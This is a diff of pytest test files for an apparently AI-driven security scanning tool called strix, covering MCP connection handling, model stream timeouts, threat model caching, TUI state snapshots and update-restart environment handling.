# Each config from the file is wrapped in a bare request: no provider, no
# transform, no explicit purpose (purpose falls back to notes at attach time).
(requests,) = captured
assert len(requests) == 1
assert requests[0].config is file_config
assert requests[0].provider is None
assert requests[0].result_transform is None
assert requests[0].purpose is None
@pytest.mark.asyncio
async def test_supplied_requests_are_attached_and_the_user_file_is_not_read(
monkeypatch: pytest.MonkeyPatch, tmp_path: Any
) -> None:
_wire_runner(monkeypatch, tmp_path)
def _fail_if_read() -> list[Any]:
raise AssertionError("load_user_mcp_configs must not be read when requests are supplied")
monkeypatch.setattr(mcp_pkg, "load_user_mcp_configs", _fail_if_read)
captured: list[list[McpConnectionRequest]] = []
async def _capture(requests: list[McpConnectionRequest], _registry: Any) -> list[Any]:
captured.append(requests)
return []
monkeypatch.setattr(mcp_pkg, "attach_mcp_requests", _capture)
supplied = [
McpConnectionRequest(
config=McpConnectionConfig(name="db", url="https://mcp.example.com"),
provider="supabase",
)
]
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-supplied",
image="img",
coordinator=AgentCoordinator(),
mcp_connection_requests=supplied,
)
assert captured == [supplied]
@pytest.mark.asyncio
async def test_roster_is_persisted_even_without_a_status_sink(
monkeypatch: pytest.MonkeyPatch, tmp_path: Any
) -> None:
"""The viewer reads the roster off disk, so persistence must not depend on the
interface status sink: with ``mcp_status_sink=None`` the connect-time roster is
still written, carrying only the non-secret name/provider/tool_count/dead."""
_wire_runner(monkeypatch, tmp_path)
monkeypatch.setattr(
mcp_pkg,
"load_user_mcp_configs",
lambda: [McpConnectionConfig(name="local_fs", transport="stdio", command="npx")],
)
class _FakeSession:
is_dead = False
def set_on_dead(self, _callback: Any) -> None:
return None
async def _attach(_requests: list[McpConnectionRequest], registry: Any) -> list[Any]:
registry.add(name="local_fs", session=_FakeSession(), tool_count=3, provider=None)
entry = registry.get("local_fs")
return [types.SimpleNamespace(name="local_fs", tool_count=3, session=entry.session)]
monkeypatch.setattr(mcp_pkg, "attach_mcp_requests", _attach)
persisted: list[list[dict[str, Any]]] = []
def _capture_persist(roster: list[dict[str, Any]]) -> None:
persisted.append(roster)
monkeypatch.setattr(runner, "_persist_mcp_status", _capture_persist)
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-persist",
image="img",
coordinator=AgentCoordinator(),
mcp_status_sink=None,
)
assert persisted, "roster must persist even when no status sink is attached"
assert persisted[-1] == [
{"name": "local_fs", "provider": None, "tool_count": 3, "dead": False}
]

View File

@@ -14,13 +14,11 @@ import pytest
from agents import ModelSettings
from openai import RateLimitError
import strix.tools.mcp as mcp_pkg
import strix.tools.notes.tools as notes_tools
import strix.tools.todo.tools as todo_tools
from strix.core import runner
from strix.core.agents import AgentCoordinator
from strix.runtime import session_manager
from strix.tools.mcp import BearerAuth, McpConnectionConfig, McpConnectionRequest
def _make_rate_limit_error() -> RateLimitError:
@@ -182,76 +180,6 @@ async def test_root_prompt_options_default_to_none(
assert kwargs["system_prompt_context"] == {"scope": "built-in"}
@pytest.mark.asyncio
async def test_mcp_available_flag_set_when_a_connection_attaches(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
) -> None:
"""When at least one MCP connection attaches, the runner sets ``mcp_available``
plus a named ``mcp_connections`` inventory into the scan context that reaches
every agent, so each agent sees which connections exist at the start while
still being able to re-list them at run time via list_mcps."""
scope_context: dict[str, Any] = {"scope": "built-in"}
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
async def _aclose() -> None:
return None
async def _attach(_requests: Any, registry: Any) -> list[Any]:
registry.add(name="fs", server=object(), purpose="local files", tool_count=2)
session = types.SimpleNamespace(aclose=_aclose)
return [types.SimpleNamespace(name="fs", tool_count=2, session=session)]
monkeypatch.setattr(mcp_pkg, "attach_mcp_requests", _attach)
request = McpConnectionRequest(
config=McpConnectionConfig(
name="fs",
url="https://mcp.example.com",
auth=BearerAuth(token="run-token"),
)
)
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-mcp-available",
image="img",
coordinator=AgentCoordinator(),
mcp_connection_requests=[request],
)
kwargs = captured["kwargs"]
assert kwargs["system_prompt_context"]["mcp_available"] is True
# The named inventory names each connected server for the prompt.
assert kwargs["system_prompt_context"]["mcp_connections"] == [
{"name": "fs", "purpose": "local files", "tool_count": 2}
]
@pytest.mark.asyncio
async def test_mcp_available_flag_absent_without_a_connection(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
) -> None:
"""With no MCP connection, the scan context carries no MCP key at all, so the
prompt's MCP section stays off."""
scope_context: dict[str, Any] = {"scope": "built-in"}
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
monkeypatch.setattr(mcp_pkg, "load_user_mcp_configs", list)
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-mcp-absent",
image="img",
coordinator=AgentCoordinator(),
)
kwargs = captured["kwargs"]
assert "mcp_available" not in kwargs["system_prompt_context"]
assert "mcp_connections" not in kwargs["system_prompt_context"]
@pytest.mark.asyncio
async def test_unknown_tool_calls_are_returned_to_the_model(
monkeypatch: pytest.MonkeyPatch,

View File

@@ -23,7 +23,12 @@ from openai import AsyncOpenAI
from strix.config import loader
from strix.config.loader import load_settings
from strix.config.models import StrixProvider, _TurnGuardModel, _with_idle_timeout
from strix.config.models import (
ModelStreamTimeoutError,
StrixProvider,
_TurnGuardModel,
_with_idle_timeout,
)
if TYPE_CHECKING:
@@ -64,6 +69,24 @@ class _StallingHandler(BaseHTTPRequestHandler):
self.stop.wait(_STALL_SECONDS)
class _FirstEventStallingHandler(BaseHTTPRequestHandler):
"""Sends stream headers, then waits before sending the first event."""
stop = threading.Event()
def log_message(self, *args: Any) -> None:
pass
def do_POST(self) -> None:
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
self.send_response(200)
self.send_header("Content-Type", "text/event-stream")
self.end_headers()
self.wfile.flush()
self.stop.wait(_STALL_SECONDS)
@pytest.fixture
def stalling_gateway() -> Iterator[str]:
_StallingHandler.stop.clear()
@@ -78,10 +101,33 @@ def stalling_gateway() -> Iterator[str]:
server.server_close()
def _stream(base_url: str, *, idle_timeout: float) -> AsyncIterator[Any]:
@pytest.fixture
def first_event_stalling_gateway() -> Iterator[str]:
_FirstEventStallingHandler.stop.clear()
server = HTTPServer(("127.0.0.1", 0), _FirstEventStallingHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
try:
yield f"http://127.0.0.1:{server.server_address[1]}/v1"
finally:
_FirstEventStallingHandler.stop.set()
server.shutdown()
server.server_close()
def _stream(
base_url: str,
*,
idle_timeout: float,
first_event_timeout: float = 0.0,
) -> AsyncIterator[Any]:
client = AsyncOpenAI(api_key="tok", base_url=base_url, max_retries=0, timeout=_STALL_SECONDS)
inner: Model = OpenAIChatCompletionsModel(model="gw-model", openai_client=client)
guarded = _TurnGuardModel(inner, stream_idle_timeout=idle_timeout)
guarded = _TurnGuardModel(
inner,
stream_idle_timeout=idle_timeout,
stream_first_event_timeout=first_event_timeout,
)
return guarded.stream_response(
None,
"go",
@@ -96,8 +142,20 @@ def _stream(base_url: str, *, idle_timeout: float) -> AsyncIterator[Any]:
)
async def _drain(base_url: str, *, idle_timeout: float) -> list[Any]:
return [event async for event in _stream(base_url, idle_timeout=idle_timeout)]
async def _drain(
base_url: str,
*,
idle_timeout: float,
first_event_timeout: float = 0.0,
) -> list[Any]:
return [
event
async for event in _stream(
base_url,
idle_timeout=idle_timeout,
first_event_timeout=first_event_timeout,
)
]
@pytest.mark.asyncio
@@ -117,6 +175,33 @@ async def test_stalled_stream_is_abandoned_by_the_watchdog(stalling_gateway: str
assert time.monotonic() - started < _STALL_SECONDS
@pytest.mark.asyncio
async def test_first_event_timeout_abandons_silent_stream(
first_event_stalling_gateway: str,
) -> None:
started = time.monotonic()
with pytest.raises(ModelStreamTimeoutError, match="no first event within 1s"):
await _drain(
first_event_stalling_gateway,
idle_timeout=10,
first_event_timeout=1,
)
assert time.monotonic() - started < _STALL_SECONDS
@pytest.mark.asyncio
async def test_first_event_timeout_does_not_replace_idle_timeout(
stalling_gateway: str,
) -> None:
with pytest.raises(ModelStreamTimeoutError, match="produced no event for 1s"):
await _drain(
stalling_gateway,
idle_timeout=1,
first_event_timeout=10,
)
@pytest.mark.asyncio
async def test_events_keep_flowing_while_the_stream_is_alive() -> None:
async def _live() -> AsyncIterator[Any]:
@@ -131,7 +216,12 @@ async def test_events_keep_flowing_while_the_stream_is_alive() -> None:
@pytest.fixture
def _reset_settings(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
for key in ("STRIX_LLM", "LLM_DISABLE_STREAMING", "LLM_STREAM_IDLE_TIMEOUT"):
for key in (
"STRIX_LLM",
"LLM_DISABLE_STREAMING",
"LLM_STREAM_IDLE_TIMEOUT",
"LLM_STREAM_FIRST_EVENT_TIMEOUT",
):
monkeypatch.delenv(key, raising=False)
monkeypatch.setattr(loader, "_cached", None)
monkeypatch.setattr(loader, "_override", None)
@@ -156,6 +246,20 @@ def test_idle_timeout_is_configurable(
model = StrixProvider().get_model("openai/gpt-4o-mini")
assert isinstance(model, _TurnGuardModel)
assert model._stream_idle_timeout == 45
assert model._stream_first_event_timeout == 0
def test_first_event_timeout_is_configurable(
monkeypatch: pytest.MonkeyPatch, _reset_settings: None
) -> None:
monkeypatch.setattr("strix.config.models.MultiProvider.get_model", lambda *_: _DummyModel())
monkeypatch.setenv("LLM_STREAM_IDLE_TIMEOUT", "45")
monkeypatch.setenv("LLM_STREAM_FIRST_EVENT_TIMEOUT", "12")
load_settings()
model = StrixProvider().get_model("openai/gpt-4o-mini")
assert isinstance(model, _TurnGuardModel)
assert model._stream_first_event_timeout == 12
def test_idle_timeout_is_off_without_streaming(
@@ -171,3 +275,4 @@ def test_idle_timeout_is_off_without_streaming(
model = StrixProvider().get_model("openai/gpt-4o-mini")
assert isinstance(model, _TurnGuardModel)
assert model._stream_idle_timeout == 0
assert model._stream_first_event_timeout == 0

View File

@@ -1,8 +1,10 @@
"""Tests for the run-scoped threat model store."""
"""Tests for the target-scoped threat model cache."""
from __future__ import annotations
import json
import subprocess
from datetime import UTC, datetime, timedelta
from typing import TYPE_CHECKING
import pytest
@@ -15,7 +17,6 @@ from strix.tools.threat_model.tools import (
_save_impl,
amend_threat_model,
get_threat_model,
hydrate_threat_models_from_disk,
save_threat_model,
)
@@ -63,10 +64,8 @@ def _make_repo(tmp_path: Path, name: str = "repo") -> Path:
@pytest.fixture(autouse=True)
def _empty_store() -> None:
"""Each test is its own run, so it starts with an empty, unmirrored store."""
threat_model_tools._MODELS.clear()
threat_model_tools._store_path = None
def _isolated_cache(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setattr(threat_model_tools, "_CACHE_DIR", tmp_path / "cache")
def test_missing_model_reports_not_found(tmp_path: Path) -> None:
@@ -86,53 +85,11 @@ def test_saved_model_round_trips(tmp_path: Path) -> None:
result = _get_impl(str(repo))
assert result["found"] is True
assert result["stale"] is False
assert "multi-tenant billing API" in result["content"]
def test_nothing_is_written_outside_the_run(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
"""The model must not outlive the scan, so nothing may land in the home dir."""
home = tmp_path / "home"
home.mkdir()
monkeypatch.setenv("HOME", str(home))
repo = _make_repo(tmp_path)
_save_impl(str(repo), _MODEL, "root")
_amend_impl(str(repo), _ADDENDUM, "agent-a")
assert list(home.rglob("*")) == []
def test_a_new_run_starts_without_the_model(tmp_path: Path) -> None:
"""A later scan of the same target inherits nothing from this one."""
repo = _make_repo(tmp_path)
hydrate_threat_models_from_disk(tmp_path / "first-run")
_save_impl(str(repo), _MODEL, "root")
hydrate_threat_models_from_disk(tmp_path / "second-run") # a different scan
assert _get_impl(str(repo))["found"] is False
def test_resuming_the_same_run_keeps_the_model(tmp_path: Path) -> None:
"""A resumed scan is the same scan, so its agents keep the shared baseline."""
state_dir = tmp_path / "state"
repo = _make_repo(tmp_path)
hydrate_threat_models_from_disk(state_dir)
_save_impl(str(repo), _MODEL, "root")
_amend_impl(str(repo), _ADDENDUM, "agent-a")
threat_model_tools._MODELS.clear() # what the resuming process starts from
hydrate_threat_models_from_disk(state_dir)
result = _get_impl(str(repo))
assert result["found"] is True
assert [a["content"] for a in result["amendments"]] == [_ADDENDUM]
def test_model_survives_a_new_revision_within_the_run(tmp_path: Path) -> None:
"""The model is not pinned to a revision; a commit mid-run does not drop it."""
def test_model_is_stale_after_new_revision(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
_save_impl(str(repo), _MODEL, None)
@@ -143,10 +100,11 @@ def test_model_survives_a_new_revision_within_the_run(tmp_path: Path) -> None:
result = _get_impl(str(repo))
assert result["found"] is True
assert "multi-tenant billing API" in result["content"]
assert result["stale"] is True
assert result["content"]
def test_store_is_keyed_per_repository(tmp_path: Path) -> None:
def test_cache_is_keyed_per_repository(tmp_path: Path) -> None:
first = _make_repo(tmp_path, "first")
second = _make_repo(tmp_path, "second")
_save_impl(str(first), _MODEL, None)
@@ -260,6 +218,8 @@ def test_blackbox_target_round_trips() -> None:
result = _get_impl(target)
assert result["found"] is True
assert result["stale"] is False, "a fresh model with no revision is not stale"
assert result["revision"] == "unversioned"
assert "Inferred from recon" in result["content"]
@@ -272,6 +232,22 @@ def test_blackbox_target_spellings_share_one_model() -> None:
assert _get_impl("https://other.example.com")["found"] is False
def test_blackbox_model_goes_stale_with_age() -> None:
target = "https://app.example.com"
_save_impl(target, _BLACKBOX_MODEL, "recon")
aged = (datetime.now(UTC) - timedelta(days=threat_model_tools._MAX_AGE_DAYS + 1)).isoformat()
path = threat_model_tools._cache_path("app.example.com:443")
payload = json.loads(path.read_text(encoding="utf-8"))
payload["created_at"] = aged
path.write_text(json.dumps(payload), encoding="utf-8")
result = _get_impl(target)
assert result["stale"] is True
assert "re-confirm" in result["message"]
def test_blackbox_target_can_be_amended() -> None:
target = "https://app.example.com"
_save_impl(target, _BLACKBOX_MODEL, "recon")

View File

@@ -12,16 +12,6 @@ from strix.config.settings import DEFAULT_MAX_TURNS
from strix.interface.tui.backend.controller import TuiController
class _SendingCoordinator:
def __init__(self, delivered: bool = True) -> None:
self.delivered = delivered
self.messages: list[tuple[str, dict[str, object]]] = []
async def send(self, agent_id: str, message: dict[str, object]) -> bool:
self.messages.append((agent_id, message))
return self.delivered
def args() -> argparse.Namespace:
return argparse.Namespace(
needs_setup=True,
@@ -71,25 +61,6 @@ async def test_setup_state_is_serializable() -> None:
assert snapshot["diff_base"] is None
@pytest.mark.asyncio
async def test_connections_snapshot_reflects_the_pushed_mcp_roster() -> None:
controller = TuiController(args())
# A run with no MCP connections carries an empty roster, so the sidebar
# omits the panel entirely.
assert controller.snapshot()["connections"] == []
controller.set_mcp_connections(
[
{"name": "supabase", "tool_count": 3, "dead": False},
{"name": "vercel", "tool_count": 1, "dead": True},
]
)
assert controller.snapshot()["connections"] == [
{"name": "supabase", "tool_count": 3, "dead": False},
{"name": "vercel", "tool_count": 1, "dead": True},
]
@pytest.mark.asyncio
async def test_setup_instruction_starts_from_cli_and_can_be_cleared() -> None:
setup_args = args()
@@ -323,34 +294,6 @@ def test_snapshot_exposes_working_directory() -> None:
assert controller.snapshot()["pending_mount"] == ""
@pytest.mark.asyncio
async def test_user_message_updates_live_agent_projection_immediately() -> None:
coordinator = _SendingCoordinator()
controller = TuiController(args(), coordinator=coordinator)
controller.setup_mode = False
controller.scan_started = True
controller.scan_loop = asyncio.get_running_loop()
controller.live_view.upsert_agent(
"root",
name="Strix",
status="failed",
error_message="provider rejected request",
)
result = await controller.handle(
"agent.send_message",
{"agent_id": "root", "message": "try again"},
)
assert result == {"sent": True}
assert coordinator.messages == [
("root", {"from": "user", "content": "try again", "type": "instruction"})
]
agent = controller.live_view.agents["root"]
assert agent["status"] == "waiting"
assert "error_message" not in agent
@pytest.mark.asyncio
async def test_start_forwards_verify_flag_by_default() -> None:
seen_verify: bool | None = None

View File

@@ -243,15 +243,13 @@ def test_defensive_state_projection_preserves_usage_summary() -> None:
),
)
state = controller.snapshot()
state["pending_mount"] = "current-project"
state["provider"] = None
state["future_oversized_field"] = "x" * 100_000
snapshot = bounded_state_projection(state)
assert snapshot["projection_truncated"] is True
assert snapshot["usage"] == {"total_tokens": 720_400, "cost": 20.0}
assert snapshot["working_dir"] == state["working_dir"]
assert snapshot["pending_mount"] == "current-project"
@pytest.mark.asyncio

View File

@@ -104,29 +104,6 @@ def test_resume_hides_system_guidance_injected_as_user_turns(tmp_path: Path) ->
] == ["starting", "continuing"]
def test_resume_hydrates_saved_agent_errors(tmp_path: Path) -> None:
run_dir = tmp_path / "run"
state_dir = runtime_state_dir(run_dir)
state_dir.mkdir(parents=True, exist_ok=True)
(state_dir / "agents.json").write_text(
json.dumps(
{
"statuses": {"root": "failed"},
"names": {"root": "Strix"},
"parent_of": {"root": None},
"errors": {"root": "provider rejected request"},
}
),
encoding="utf-8",
)
view = GoTuiLiveView()
view.hydrate_from_run_dir(run_dir)
assert view.agents["root"]["status"] == "failed"
assert view.agents["root"]["error_message"] == "provider rejected request"
def test_resume_keeps_messages_the_user_actually_typed(tmp_path: Path) -> None:
run_dir = tmp_path / "run"
_write_run(

View File

@@ -153,33 +153,6 @@ def test_self_update_already_latest(monkeypatch: pytest.MonkeyPatch) -> None:
assert update_check.self_update() is True
def test_restart_env_strips_pyinstaller_vars(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("_MEIPASS2", "/stale/_MEIold")
monkeypatch.setenv("_PYI_APPLICATION_HOME_DIR", "/stale/_MEIold")
monkeypatch.setenv("_PYI_ARCHIVE_FILE", "/old/strix")
monkeypatch.setenv("_PYI_PARENT_PROCESS_LEVEL", "1")
monkeypatch.setenv("SOME_OTHER_VAR", "kept")
env = update_check.restart_env()
assert "SOME_OTHER_VAR" in env
assert "_MEIPASS2" not in env
assert not any(key.startswith("_PYI_") for key in env)
def test_restart_env_restores_library_paths(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("LD_LIBRARY_PATH", "/stale/_MEIold/lib")
monkeypatch.setenv("LD_LIBRARY_PATH_ORIG", "/usr/lib/custom")
monkeypatch.setenv("DYLD_LIBRARY_PATH", "/stale/_MEIold/lib")
monkeypatch.delenv("DYLD_LIBRARY_PATH_ORIG", raising=False)
env = update_check.restart_env()
assert env["LD_LIBRARY_PATH"] == "/usr/lib/custom"
assert "LD_LIBRARY_PATH_ORIG" not in env
assert "DYLD_LIBRARY_PATH" not in env
def test_sha256_file(tmp_path: Path) -> None:
path = tmp_path / "blob"
path.write_bytes(b"strix")

View File

@@ -96,25 +96,6 @@ def test_read_run_summary_finished_flag(tmp_path: Path) -> None:
assert read_run_summary(partial)["finished"] is False
def test_read_run_summary_surfaces_mcp_connection_status(tmp_path: Path) -> None:
"""The engine persists the non-secret MCP roster under mcp_connection_status;
read_run_summary spreads the whole record, so /api/run carries it to the
viewer verbatim."""
run_dir = _make_run(tmp_path, "mcp", status="running", end_time=None)
roster = [
{"name": "local_fs", "provider": None, "tool_count": 3, "dead": False},
{"name": "db", "provider": "supabase", "tool_count": 7, "dead": True},
]
record = {
"run_name": "mcp",
"status": "running",
"end_time": None,
"mcp_connection_status": roster,
}
(run_dir / "run.json").write_text(json.dumps(record), encoding="utf-8")
assert read_run_summary(run_dir)["mcp_connection_status"] == roster
def test_read_missing_artifacts_return_defaults(tmp_path: Path) -> None:
run_dir = _make_run(tmp_path, "empty", status="running", end_time=None)
assert read_vulnerabilities(run_dir) == []